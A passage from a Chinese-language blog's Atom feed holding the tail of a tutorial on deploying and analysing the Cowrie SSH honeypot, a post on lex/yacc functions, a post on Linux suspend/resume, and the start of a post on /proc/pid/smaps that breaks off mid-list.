&lt;p&gt;安装完成后，我们可以修改 &lt;code&gt;sshd_config&lt;&#x2F;code&gt; 文件将默认端口改为一个较高的端口，这里为 51268 。&lt;&#x2F;p&gt;
&lt;pre data-lang=&quot;javascript&quot; class=&quot;language-javascript &quot;&gt;&lt;code class=&quot;language-javascript&quot; data-lang=&quot;javascript&quot;&gt;$ vim &amp;#x2F;etc&amp;#x2F;ssh&amp;#x2F;sshd_config
# Port 22
Port 51268
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;blockquote&gt;
&lt;p&gt;注意：一定不要与 &lt;code&gt;cowrie.cfg&lt;&#x2F;code&gt; 文件中监听的端口一致，否则进入 &lt;code&gt;22&lt;&#x2F;code&gt; 端口的流量就转发到真正的 &lt;code&gt;SSH&lt;&#x2F;code&gt; 服务端口，蜜罐就不起作用了。&lt;&#x2F;p&gt;
&lt;&#x2F;blockquote&gt;
&lt;ol&gt;
&lt;li&gt;配置 Iptables 进行端口转发&lt;&#x2F;li&gt;
&lt;&#x2F;ol&gt;
&lt;p&gt;以上都配置好后，最后就是在 &lt;code&gt;Iptables&lt;&#x2F;code&gt; 中新增一条转发规则，将默认到 &lt;code&gt;22&lt;&#x2F;code&gt; 端口的请求转发到蜜罐中对应的端口。&lt;&#x2F;p&gt;
&lt;pre data-lang=&quot;javascript&quot; class=&quot;language-javascript &quot;&gt;&lt;code class=&quot;language-javascript&quot; data-lang=&quot;javascript&quot;&gt;$ sudo iptables -t nat -A PREROUTING -p tcp --dport 22 -j REDIRECT --to-port 2222
$ iptables-save
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;除了使用 &lt;code&gt;Iptables&lt;&#x2F;code&gt; 外，你还可以在没有 &lt;code&gt;Root&lt;&#x2F;code&gt; 权限的条件下使用 &lt;code&gt;Authbind&lt;&#x2F;code&gt; 或 &lt;code&gt;Setcap&lt;&#x2F;code&gt; 将蜜罐绑定到一些特权端口上，以达到伪装一些正常服务的目的。具体方法可以参见官方文档如下部分：&lt;&#x2F;p&gt;
&lt;ol&gt;
&lt;li&gt;&lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;cowrie.readthedocs.io&#x2F;en&#x2F;latest&#x2F;INSTALL.html#authbind&quot;&gt;https:&#x2F;&#x2F;cowrie.readthedocs.io&#x2F;en&#x2F;latest&#x2F;INSTALL.html#authbind&lt;&#x2F;a&gt;&lt;&#x2F;li&gt;
&lt;li&gt;&lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;cowrie.readthedocs.io&#x2F;en&#x2F;latest&#x2F;INSTALL.html#setcap&quot;&gt;https:&#x2F;&#x2F;cowrie.readthedocs.io&#x2F;en&#x2F;latest&#x2F;INSTALL.html#setcap&lt;&#x2F;a&gt;&lt;&#x2F;li&gt;
&lt;&#x2F;ol&gt;
&lt;h4 id=&quot;shi-yong-docker-bu-shu&quot;&gt;&lt;strong&gt;使用 Docker 部署&lt;&#x2F;strong&gt;&lt;&#x2F;h4&gt;
&lt;p&gt;上面讲解的通过源码安装，主要是为了演示 &lt;code&gt;Cowrie&lt;&#x2F;code&gt; 如何工作的，当然最方便的还是直接使用 &lt;code&gt;Docker&lt;&#x2F;code&gt; 部署。&lt;&#x2F;p&gt;
&lt;pre data-lang=&quot;javascript&quot; class=&quot;language-javascript &quot;&gt;&lt;code class=&quot;language-javascript&quot; data-lang=&quot;javascript&quot;&gt;$ docker run -p 2222:2222 cowrie&amp;#x2F;cowrie
$ ssh -p 2222 root@localhost
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;如上所示，只需一条指令，&lt;code&gt;Cowrie&lt;&#x2F;code&gt; 就部署完成了。剩下就只需要自己用 &lt;code&gt;Iptables&lt;&#x2F;code&gt; 进行端口转发就可以了。&lt;&#x2F;p&gt;
&lt;h3 id=&quot;cowrie-ri-zhi-fen-xi&quot;&gt;&lt;strong&gt;Cowrie 日志分析&lt;&#x2F;strong&gt;&lt;&#x2F;h3&gt;
&lt;p&gt;蜜罐系统的作用主要是用作实时记录和审计入侵者攻击行为和数据，所以最重要的还是事后的&lt;strong&gt;日志分析&lt;&#x2F;strong&gt;工作。&lt;&#x2F;p&gt;
&lt;ol&gt;
&lt;li&gt;如果日志记录在文本文件，你可以使用下面的命令进行一些数据统计分析。&lt;&#x2F;li&gt;
&lt;&#x2F;ol&gt;
&lt;pre data-lang=&quot;javascript&quot; class=&quot;language-javascript &quot;&gt;&lt;code class=&quot;language-javascript&quot; data-lang=&quot;javascript&quot;&gt;$ grep login &amp;#x2F;home&amp;#x2F;cowrie&amp;#x2F;cowrie&amp;#x2F;var&amp;#x2F;log&amp;#x2F;cowrie&amp;#x2F;audit.log | awk &amp;#x27;{print $5}&amp;#x27; | sort | uniq -c
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;ol&gt;
&lt;li&gt;如果日志记录在数据库，你可以通过下面的一些方式进行一些数据统计分析。&lt;&#x2F;li&gt;
&lt;&#x2F;ol&gt;
&lt;pre data-lang=&quot;javascript&quot; class=&quot;language-javascript &quot;&gt;&lt;code class=&quot;language-javascript&quot; data-lang=&quot;javascript&quot;&gt;$ mysql -u cowrie -p
mysql&amp;gt; USE cowrie;
mysql&amp;gt; SELECT * FROM auth;
+----+--------------+---------+----------+-------------+---------------------+
| id | session      | success | username | password    | timestamp           |
+----+--------------+---------+----------+-------------+---------------------+
|  1 | a551c0a74e06 |       0 | root     | 12345       | 2019-09-27 23:15:56 |
|  2 | a551c0a74e06 |       0 | root     | seiko2005   | 2019-09-27 23:15:58 |
|  3 | a551c0a74e06 |       0 | root     | anko        | 2019-09-27 23:15:59 |
|  4 | a551c0a74e06 |       0 | root     | 123456      | 2019-09-27 23:16:00 |
|  5 | a551c0a74e06 |       0 | root     | dreambox    | 2019-09-27 23:16:01 |
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;当然上面只是举了一些简单的例子，更多高级玩法还等着你去探索哟！&lt;&#x2F;p&gt;
&lt;h3 id=&quot;qi-ta&quot;&gt;&lt;strong&gt;其它&lt;&#x2F;strong&gt;&lt;&#x2F;h3&gt;
&lt;p&gt;目前开源的蜜罐系统有很多，除了 &lt;code&gt;Cowrie&lt;&#x2F;code&gt; 以外，还有 &lt;code&gt;Kippo&lt;&#x2F;code&gt;、&lt;code&gt;T-Pot&lt;&#x2F;code&gt;、&lt;code&gt;MHN&lt;&#x2F;code&gt;、&lt;code&gt;SSH-Honeypot&lt;&#x2F;code&gt; 等等。如果你对蜜罐系统很感兴趣，可以参考 &lt;code&gt;GitHub&lt;&#x2F;code&gt; 上以下两个开源项目。&lt;&#x2F;p&gt;
&lt;ol&gt;
&lt;li&gt;&lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;github.com&#x2F;jwxa2015&#x2F;honeypotcollection&quot;&gt;https:&#x2F;&#x2F;github.com&#x2F;jwxa2015&#x2F;honeypotcollection&lt;&#x2F;a&gt;&lt;&#x2F;li&gt;
&lt;li&gt;&lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;github.com&#x2F;paralax&#x2F;awesome-honeypots&quot;&gt;https:&#x2F;&#x2F;github.com&#x2F;paralax&#x2F;awesome-honeypots&lt;&#x2F;a&gt;&lt;&#x2F;li&gt;
&lt;&#x2F;ol&gt;
&lt;p&gt;至此，使用 &lt;code&gt;Cowrie&lt;&#x2F;code&gt; 快速构建一个蜜罐系统的基本方法就介绍完了。如果你对 &lt;code&gt;Cowrie&lt;&#x2F;code&gt; 非常的感兴趣，还可以去官网探索更多高级功能哟！&lt;&#x2F;p&gt;
&lt;p&gt;对于快速构建一个蜜罐系统，你还有哪些更好用高效的方法呢？欢迎大家在留言讨论哟！&lt;&#x2F;p&gt;
&lt;h3 id=&quot;can-kao-wen-dang&quot;&gt;&lt;strong&gt;参考文档&lt;&#x2F;strong&gt;&lt;&#x2F;h3&gt;
&lt;ol&gt;
&lt;li&gt;&lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;www.google.com&quot;&gt;https:&#x2F;&#x2F;www.google.com&lt;&#x2F;a&gt;&lt;&#x2F;li&gt;
&lt;li&gt;&lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;cowrie.readthedocs.io&#x2F;en&#x2F;latest&#x2F;&quot;&gt;https:&#x2F;&#x2F;cowrie.readthedocs.io&#x2F;en&#x2F;latest&#x2F;&lt;&#x2F;a&gt;&lt;&#x2F;li&gt;
&lt;li&gt;&lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;www.cnblogs.com&#x2F;bmjoker&#x2F;p&#x2F;10156220.html&quot;&gt;https:&#x2F;&#x2F;www.cnblogs.com&#x2F;bmjoker&#x2F;p&#x2F;10156220.html&lt;&#x2F;a&gt;&lt;&#x2F;li&gt;
&lt;li&gt;&lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;www.cnblogs.com&#x2F;HacTF&#x2F;p&#x2F;8094516.html&quot;&gt;https:&#x2F;&#x2F;www.cnblogs.com&#x2F;HacTF&#x2F;p&#x2F;8094516.html&lt;&#x2F;a&gt;&lt;&#x2F;li&gt;
&lt;li&gt;&lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;klionsec.github.io&#x2F;2017&#x2F;10&#x2F;19&#x2F;cowrie&#x2F;&quot;&gt;https:&#x2F;&#x2F;klionsec.github.io&#x2F;2017&#x2F;10&#x2F;19&#x2F;cowrie&#x2F;&lt;&#x2F;a&gt;&lt;&#x2F;li&gt;
&lt;li&gt;&lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;www.twblogs.net&#x2F;a&#x2F;5cb0b56bbd9eee48d788646c&quot;&gt;https:&#x2F;&#x2F;www.twblogs.net&#x2F;a&#x2F;5cb0b56bbd9eee48d788646c&lt;&#x2F;a&gt;&lt;&#x2F;li&gt;
&lt;li&gt;&lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;ama2in9.top&#x2F;2019&#x2F;03&#x2F;12&#x2F;cowrie&#x2F;&quot;&gt;https:&#x2F;&#x2F;ama2in9.top&#x2F;2019&#x2F;03&#x2F;12&#x2F;cowrie&#x2F;&lt;&#x2F;a&gt;&lt;&#x2F;li&gt;
&lt;&#x2F;ol&gt;
</content>
        
    </entry>
    <entry xml:lang="en">
        <title>编译原理 lex yacc</title>
        <published>2024-03-08T00:00:00+00:00</published>
        <updated>2024-05-07T00:00:00+00:00</updated>
        
        <author>
          <name>
            
              moxuetianya
            
          </name>
        </author>
        
        <link rel="alternate" type="text/html" href="https://vercel.juzhong.asia/obsidian/编译原理-lex-yacc/"/>
        <id>https://vercel.juzhong.asia/obsidian/编译原理-lex-yacc/</id>
        
        <content type="html" xml:base="https://vercel.juzhong.asia/obsidian/编译原理-lex-yacc/">&lt;h1 id=&quot;bian-yi-yuan-li-lex-yacc&quot;&gt;编译原理 lex yacc&lt;&#x2F;h1&gt;
&lt;h1 id=&quot;lex-yacc&quot;&gt;lex yacc&lt;&#x2F;h1&gt;
&lt;p&gt;只要在Unix环境中写程序，必定会邂逅神秘的Lex&amp;amp;YACC，就如GNU&#x2F;Linux用户所熟知的Flex&amp;amp;Bison，这里的Flex就是由Vern Paxon实现的一个Lex，Bison则是GNU版本的YACC。在此我们将统一称呼这些程序为Lex和YACC。新版本的程序是向上兼容的(译注：即兼容老版本)，所以你可以用Flex和Bison来尝试下我们的实例。&lt;&#x2F;p&gt;
&lt;p&gt;这些程序实用性极广，但如同你的C编译器一样，在其主页上并没有描述它们，也没有关于怎样使用的信息。当和Lex结合使用时，YACC实在是棒极了，但是Bison的主页上并没有描述Bison如何跟Lex结合使用以生成代码的相应说明。&lt;&#x2F;p&gt;
&lt;h1 id=&quot;lex-yaccneng-wei-ni-zuo-shen-me&quot;&gt;Lex &amp;amp; YACC能为你做什么？&lt;&#x2F;h1&gt;
&lt;p&gt;如果使用得当，这些程序(指LEX&amp;amp;YACC)可以让你轻易的解析复杂的语言，当你需要读取一个配置文件时，或者你需要编写一个你自己使用的语言的编译器时，这对于你来说是莫大的裨益。
本文档能提供给你一些帮助，你将发现你再也不用手工写解析器了，Lex &amp;amp; YACC就是为你量身打造的利器。&lt;&#x2F;p&gt;
&lt;h1 id=&quot;chang-yong-de-quan-ju-bian-liang-he-hong&quot;&gt;常用的全局变量和宏&lt;&#x2F;h1&gt;
&lt;p&gt;**FILE &lt;em&gt;yyin: FILE &lt;em&gt;yyout：&lt;&#x2F;em&gt;&lt;&#x2F;em&gt;  这是Lex中本身已定义的输入和输出文件指针。这两个变量指明了lex生成的词法分析器从哪里获得输入和输出到哪里。默认：键盘输入，屏幕输出。&lt;&#x2F;p&gt;
&lt;p&gt;*&lt;em&gt;char &lt;em&gt;yytext：&lt;&#x2F;em&gt;&lt;&#x2F;em&gt; 指向当前识别的词法单元（词文）的指针&lt;&#x2F;p&gt;
&lt;p&gt;&lt;strong&gt;int yyleng：&lt;&#x2F;strong&gt; 当前词法单元的长度。&lt;&#x2F;p&gt;
&lt;p&gt;&lt;strong&gt;yylineno&lt;&#x2F;strong&gt; 提供当前的行数信息。（lexer不一定支持。）&lt;&#x2F;p&gt;
&lt;p&gt;&lt;strong&gt;ECHO：&lt;&#x2F;strong&gt; Lex中预定义的宏，可以出现在动作中，相当于fprintf(yyout, “%s”,yytext)，即输出当前匹配的词法单元。&lt;&#x2F;p&gt;
&lt;p&gt;&lt;strong&gt;REJECT：&lt;&#x2F;strong&gt;  指示简析器对当前规则不做处理，而是采用第二匹配规则。
因为解析器在通常情况下，每个被匹配的对象只会对一个动作生效。REJECT指示解析器，会寻找下一个最配的规则来做处理。下面的规则会把输入的”abcd”处理后输出”abcd|abc|ab|a|abcd”。&lt;&#x2F;p&gt;
&lt;pre data-lang=&quot;undefined&quot; class=&quot;language-undefined &quot;&gt;&lt;code class=&quot;language-undefined&quot; data-lang=&quot;undefined&quot;&gt;&amp;gt; a |
&amp;gt; ab |
&amp;gt; abc |
&amp;gt; abcd {ECHO;printf(&amp;quot;|&amp;quot;);REJECT;}
&amp;gt; %%
&amp;gt;
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;&lt;strong&gt;BEGIN&lt;&#x2F;strong&gt; 开始一个条件处理块&lt;&#x2F;p&gt;
&lt;p&gt;&lt;strong&gt;int yylex()：&lt;&#x2F;strong&gt; 词法分析器驱动程序，用Lex翻译器生成的lex.yy.c内必然含有这个函数。它自动移动文件指针yyin 和 yyout 。
&lt;strong&gt;在定义模式动作时，可以用 return 语句来结束 yylex分析函数。return 需要返回一个整数。&lt;&#x2F;strong&gt;
由于 yylex() 函数的运行环境都是以全局变量的方式来保存，因此在下一次调用 yylex() 时，yylex()可以从上次扫描的断点处继续扫描。若用户未定义相应的return语句，则yylex()继续分析被扫描的文件，直到碰到文件结束标识符EOF。
在读取到EOF时，yylex() 函数调用 int yywrap() 函数，若yywrap()返回非0值，则yylex() 函数结束返回0；否则，yylex()继续对yyin指向的文件扫描。&lt;&#x2F;p&gt;
&lt;p&gt;&lt;strong&gt;int yywrap()：&lt;&#x2F;strong&gt; 词法分析器遇到文件结尾时会调用yywrap()来决定下一步怎么做：
若yywrap()返回0，则继续扫描
若返回1，则返回报告文件结尾的0标记。
由于词法分析器总会调用yywrap，因此辅助函数中最好提供yywrap，如果不提供，则在用C编译器编译lex.yy.c时，需要链接相应的库，库中会给出标准的yywrap函数（标准函数返回1）。&lt;&#x2F;p&gt;
&lt;p&gt;&lt;strong&gt;yymore()&lt;&#x2F;strong&gt; 这一函数告诉 Lexer 将下一个标记附加到当前标记后。
`yymore()’ 告诉解析器下一次匹配的规则，满足的部分将会添加到当前yytext值得后面而不是替换它。 例如，指定的输入”mega-kludge”经过下面的程序处理后将会输出”mega-mega-kludge”。&lt;&#x2F;p&gt;
&lt;pre data-lang=&quot;undefined&quot; class=&quot;language-undefined &quot;&gt;&lt;code class=&quot;language-undefined&quot; data-lang=&quot;undefined&quot;&gt;&amp;gt;%%
&amp;gt; mega- ECHO; yymore();
&amp;gt; kludge ECHO;&amp;#x2F;* 这时，yytext的值为mega-kludge *&amp;#x2F;
&amp;gt;
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;&lt;strong&gt;yyless(int n)&lt;&#x2F;strong&gt;  返回当前匹配项除了开始的n个字符内的所有的内容到输入缓存区，解析器处理下一个匹配时，它们将会被重新解析。yyless将会导致yytext与yyleng的调整。（yyleng将会等于=n） 如输入”createtable”被下面的程序处理后，将会输出”createtableatetable”. 因为前n=3个字符foo外的字符atetable被重新返回到输入缓存区，再次解析。&lt;&#x2F;p&gt;
&lt;pre data-lang=&quot;undefined&quot; class=&quot;language-undefined &quot;&gt;&lt;code class=&quot;language-undefined&quot; data-lang=&quot;undefined&quot;&gt;&amp;gt;createtable ECHO; yyless(3);
&amp;gt; [a-zA-Z]+ ECHO;
&amp;gt;\n return 0;
&amp;gt; %%
&amp;gt;
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;&lt;strong&gt;unput(c)&lt;&#x2F;strong&gt;  将字符c放回到输入流中，该字符可以重新被解析。下面的动作将当前的匹配值附上括号后重新进行匹配。&lt;&#x2F;p&gt;
&lt;pre data-lang=&quot;undefined&quot; class=&quot;language-undefined &quot;&gt;&lt;code class=&quot;language-undefined&quot; data-lang=&quot;undefined&quot;&gt;&amp;gt;{
&amp;gt; int i;
&amp;gt;&amp;#x2F;* Copy yytext because unput() trashes yytext *&amp;#x2F;
&amp;gt; char *yycopy = strdup( yytext );
&amp;gt;unput( &amp;#x27;)&amp;#x27; );
&amp;gt; for ( i = yyleng - 1; i &amp;gt;= 0; --i )
&amp;gt; unput( yycopy[i] );
&amp;gt; unput( &amp;#x27;(&amp;#x27; );
&amp;gt; free( yycopy );
&amp;gt; }
&amp;gt;
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;注意: 由于每次unput()将指定的字符添加到输入源的开头，所以将字符串添加到输入源开头必须从后道前处理。一个比较重要的潜在问题是使用unput()的时候，如果采用了%pointer指针模式保存yytext,unput会破坏yytext的内容，从最右边的字符开始将会破坏左边的一个字符。如果在unput()后要用到yytext,你首先必须复制一份yytext,或者用%array模式来保存yytext. 最后不能尝试放一个EOF标志输入流的结束。&lt;&#x2F;p&gt;
&lt;p&gt;&lt;strong&gt;input()&lt;&#x2F;strong&gt;  从输入源中读取下一个字符。
下面例子将会吃掉C语言注释&lt;&#x2F;p&gt;
&lt;pre data-lang=&quot;undefined&quot; class=&quot;language-undefined &quot;&gt;&lt;code class=&quot;language-undefined&quot; data-lang=&quot;undefined&quot;&gt;&amp;gt; %%
&amp;gt;&amp;quot;&amp;#x2F;*&amp;quot; {
&amp;gt;  register int c;
&amp;gt;  for ( ; ; ) {
&amp;gt;   while ( (c = input()) != &amp;#x27;*&amp;#x27; &amp;amp;&amp;amp;&amp;gt;c != EOF ); &amp;#x2F;* eat up text of comment *&amp;#x2F;
&amp;gt;    if ( c == &amp;#x27;*&amp;#x27; ) {
&amp;gt;     while ( (c = input()) == &amp;#x27;*&amp;#x27; );
&amp;gt;      if ( c == &amp;#x27;&amp;#x2F;&amp;#x27; ) break; &amp;#x2F;* found the end *&amp;#x2F;
&amp;gt;    }
&amp;gt;    if ( c == EOF ) {
&amp;gt;      error( &amp;quot;EOF in comment&amp;quot; );
&amp;gt;      break;
&amp;gt;   }
&amp;gt;  }
&amp;gt; }
&amp;gt;
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;&lt;strong&gt;yyterminate()&lt;&#x2F;strong&gt;  可以在动作内部返回描述区域中使用，它将终止解析器并返回0给解析器调用者，表示操作完成。缺省情况下，到达文件结束位置也会被调用，它是一个宏，并且可能重定义。&lt;&#x2F;p&gt;
</content>
        
    </entry>
    <entry xml:lang="en">
        <title>一文搞懂linux系统休眠唤醒</title>
        <published>2024-03-07T00:00:00+00:00</published>
        <updated>2024-06-17T00:00:00+00:00</updated>
        
        <author>
          <name>
            
              moxuetianya
            
          </name>
        </author>
        
        <link rel="alternate" type="text/html" href="https://vercel.juzhong.asia/obsidian/一文搞懂linux系统休眠唤醒/"/>
        <id>https://vercel.juzhong.asia/obsidian/一文搞懂linux系统休眠唤醒/</id>
        
        <content type="html" xml:base="https://vercel.juzhong.asia/obsidian/一文搞懂linux系统休眠唤醒/">&lt;h1 id=&quot;yi-wen-gao-dong-linuxxi-tong-xiu-mian-huan-xing&quot;&gt;一文搞懂linux系统休眠唤醒&lt;&#x2F;h1&gt;
&lt;h3 id=&quot;1-jie-shao&quot;&gt;1，介绍&lt;&#x2F;h3&gt;
&lt;p&gt;系统休眠唤醒是&lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;so.csdn.net&#x2F;so&#x2F;search?q=%E7%94%B5%E6%BA%90%E7%AE%A1%E7%90%86&amp;amp;spm=1001.2101.3001.7020&quot;&gt;电源管理&lt;&#x2F;a&gt;中重要的一个技术点，一方面，它能让系统在不需要工作时，尽可能进入一个功耗极低的状态，这时外部的设备、芯片内部ip、时钟进入了低功耗状态或关闭电源状态，从而尽可能的减少功耗，增加产品的续航；另一方面，在用户需要系统工作的时候，系统能够快速恢复电源、时钟、芯片内部ip及外部设备的工作，从而不影响用户的使用体验。系统休眠唤醒比其他的功耗管理对系统的影响更大。比如，clock框架管理的是时钟资源，runtime power manage管理的是power domain，regulator管理的是供电，reset框架管理的是各模块的复位功能，cpu dvfs、idle、hotplug管理的是cpu的低功耗功能。但是，系统休眠唤醒基本上涉及了如上所有的功能模块，那他是怎么协调这么多资源进入或者退出低功耗状态的呢？本文主要的目的就是对这个问题的解答。&lt;&#x2F;p&gt;
&lt;p&gt;Linux内核提供了多种休眠（休眠）方式：freeze、standyby、STR（suspend to RAM）和STD（suspend to disk），这些休眠方式通过文件节点&#x2F;sys&#x2F;&lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;so.csdn.net&#x2F;so&#x2F;search?q=power&amp;amp;spm=1001.2101.3001.7020&quot;&gt;power&lt;&#x2F;a&gt;&#x2F;state提供给用户操作，在用户空间通过向&#x2F;sys&#x2F;power&#x2F;state文件节点分别写入freeze、standy、mem、disk，系统就会进入相应的状态。这样可以在系统需要进入相应状态的时候，由用户发起相应的休眠。在休眠之前会配置唤醒源，当系统休眠下去后，通过这些唤醒源（比如，按键、RTC、屏幕、USB拔插等）可以在需要的时候唤醒（resume）系统。这样在系统进入了休眠状态后，用户可以选择什么时刻，通过什么方式将系统快速唤醒，即兼顾了功耗低，又兼顾了时间短。&lt;&#x2F;p&gt;
&lt;p&gt;系统休眠及唤醒过程涉及到pm core框架、device pm框架、用户进程及内核线程或worker，各设备驱动、power domain、&lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;so.csdn.net&#x2F;so&#x2F;search?q=cpu&amp;amp;spm=1001.2101.3001.7020&quot;&gt;cpu&lt;&#x2F;a&gt;管理等多个模块，并且涉及了process freeze&amp;amp;thaw、wakeup处理、设备suspend&amp;amp;resume、syscore suspend&amp;amp;resume、ddr自刷新等技术点。&lt;&#x2F;p&gt;
&lt;h3 id=&quot;2-kuang-jia&quot;&gt;2，框架&lt;&#x2F;h3&gt;
&lt;p&gt;&lt;img src=&quot;&#x2F;obsidian&#x2F;assets&#x2F;linux-suspend-resume&#x2F;linux-suspend-resume-framework.png&quot; alt=&quot;&quot; &#x2F;&gt;&lt;&#x2F;p&gt;
&lt;p&gt;系统休眠唤醒框架&lt;&#x2F;p&gt;
&lt;p&gt;系统休眠唤醒的框架包括三部分：services、PM core、PM driver。PM core实现power manage的核心逻辑，为上层services提供操作休眠唤醒的相关接口，通过利用底层相关的技术实现休眠唤醒过程中的cpu hotplug、wakup source enable&#x2F;disable、设备的suspend&amp;amp;resume等。上层service通过wakelock的使用，在系统不需要工作的时候经由power manager利用PM core提供的文件节点发起休眠。然后，休眠的过程中PM driver会配置、取消唤醒源，调用设备的suspend&amp;amp;resume函数，进行syscore的suspend&amp;amp;resume操作。&lt;&#x2F;p&gt;
&lt;p&gt;Services部分由两类service组成，power manager service及普通的app service。其中，power manager service提供了wakelock锁的create&#x2F;request&#x2F;release管理功能，当没有services持有wakelock的话，power manager service会通过往文件节点&#x2F;sys&#x2F;power&#x2F;state写mem发起内核的休眠。&lt;&#x2F;p&gt;
&lt;p&gt;PM core部分提供了wakelock（决定是否发起休眠）的实现，wakeup_count（用于各services释放wakelock后，到发起内核休眠的期间是否有唤醒源，从而是否进行resume的管理）的实现，suspend的实现。这三个功能分别向上层提供了相应的文件节点，供上层操作。休眠、唤醒的过程中会涉及到进程的freeze&amp;amp;thaw，wakeup source的使能、失能，设备的休眠、唤醒，power domain的关、开，cpu的拔、插等功能或框架。&lt;&#x2F;p&gt;
&lt;p&gt;PM driver部分主要实现了设备驱动的suspend&amp;amp;resume实现，架构驱动（gpio、irq、timer等）低功耗相关的操作。&lt;&#x2F;p&gt;
&lt;h3 id=&quot;3-liu-cheng&quot;&gt;3，流程&lt;&#x2F;h3&gt;
&lt;h4 id=&quot;3-1-xiu-mian-huan-xing-liu-cheng&quot;&gt;3.1 休眠唤醒流程&lt;&#x2F;h4&gt;
&lt;p&gt;Linux系统休眠唤醒的整个流程：&lt;&#x2F;p&gt;
&lt;p&gt;&lt;img src=&quot;&#x2F;obsidian&#x2F;assets&#x2F;linux-suspend-resume&#x2F;linux-suspend-resume-flow.png&quot; alt=&quot;&quot; &#x2F;&gt;&lt;&#x2F;p&gt;
&lt;p&gt;系统休眠唤醒流程&lt;&#x2F;p&gt;
&lt;h4 id=&quot;3-2-xiu-mian-huan-xing-han-shu-diao-yong-liu-cheng&quot;&gt;3.2 休眠唤醒函数调用流程&lt;&#x2F;h4&gt;
&lt;p&gt;echo mem &amp;gt; &#x2F;sys&#x2F;power&#x2F;state&lt;&#x2F;p&gt;
&lt;p&gt;做如上操作后，整个函数调用流程如下：&lt;&#x2F;p&gt;
&lt;p&gt;&lt;img src=&quot;&#x2F;obsidian&#x2F;assets&#x2F;linux-suspend-resume&#x2F;suspend-resume-call-flow.png&quot; alt=&quot;&quot; &#x2F;&gt;&lt;&#x2F;p&gt;
&lt;p&gt;系统休眠唤醒函数调用流程&lt;&#x2F;p&gt;
</content>
        
    </entry>
    <entry xml:lang="en">
        <title>使用mmap来学习procpidsmaps</title>
        <published>2024-03-05T00:00:00+00:00</published>
        <updated>2024-03-05T00:00:00+00:00</updated>
        
        <author>
          <name>
            
              moxuetianya
            
          </name>
        </author>
        
        <link rel="alternate" type="text/html" href="https://vercel.juzhong.asia/obsidian/使用mmap来学习procpidsmaps/"/>
        <id>https://vercel.juzhong.asia/obsidian/使用mmap来学习procpidsmaps/</id>
        
        <content type="html" xml:base="https://vercel.juzhong.asia/obsidian/使用mmap来学习procpidsmaps/">&lt;h1 id=&quot;shi-yong-mmaplai-xue-xi-procpidsmaps&quot;&gt;使用mmap来学习procpidsmaps&lt;&#x2F;h1&gt;
&lt;p&gt;在很多年前我就断断续续使用过&lt;code&gt;&#x2F;proc&#x2F;pid&#x2F;smaps&lt;&#x2F;code&gt;观测过进程的状态。&lt;&#x2F;p&gt;
&lt;p&gt;当时主要用于观测栈大小和一些文件映射的信息。&lt;&#x2F;p&gt;
&lt;p&gt;当需要特定信息时，会现查文档，因此虽然对于&lt;code&gt;&#x2F;proc&#x2F;pid&#x2F;smaps&lt;&#x2F;code&gt;有模糊的认识，但是对于具体字段的含义认识并不深刻。&lt;&#x2F;p&gt;
&lt;p&gt;纸上得来终觉浅，最终我还是打算花一些时间来写几段代码来印证&lt;code&gt;&#x2F;proc&#x2F;pid&#x2F;smaps&lt;&#x2F;code&gt;中文档的描述。&lt;&#x2F;p&gt;
&lt;p&gt;针对某映射地址范围&lt;code&gt;08048000-080bc000&lt;&#x2F;code&gt;（例如 &lt;code&gt;&#x2F;bin&#x2F;bash&lt;&#x2F;code&gt;），&lt;code&gt;&#x2F;proc&#x2F;pid&#x2F;smaps&lt;&#x2F;code&gt;的一个典型条目如下：&lt;&#x2F;p&gt;
&lt;pre data-lang=&quot;text&quot; class=&quot;language-text &quot;&gt;&lt;code class=&quot;language-text&quot; data-lang=&quot;text&quot;&gt;08048000-080bc000 r-xp 00000000 03:02 13130      &amp;#x2F;bin&amp;#x2F;bash
Size:               1084 kB
KernelPageSize:        4 kB
MMUPageSize:           4 kB
Rss:                 892 kB
Pss:                 374 kB
Pss_Dirty:             0 kB
Shared_Clean:        892 kB
Shared_Dirty:          0 kB
Private_Clean:         0 kB
Private_Dirty:         0 kB
Referenced:          892 kB
Anonymous:             0 kB
KSM:                   0 kB
LazyFree:              0 kB
AnonHugePages:         0 kB
ShmemPmdMapped:        0 kB
Shared_Hugetlb:        0 kB
Private_Hugetlb:       0 kB
Swap:                  0 kB
SwapPss:               0 kB
Locked:                0 kB
THPeligible:           0
VmFlags: rd ex mr mw me dw
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;根据文档，这些字段的含义如下：&lt;&#x2F;p&gt;
&lt;ul&gt;
&lt;li&gt;Size: 映射区域的大小（即虚拟内存大小）。&lt;&#x2F;li&gt;
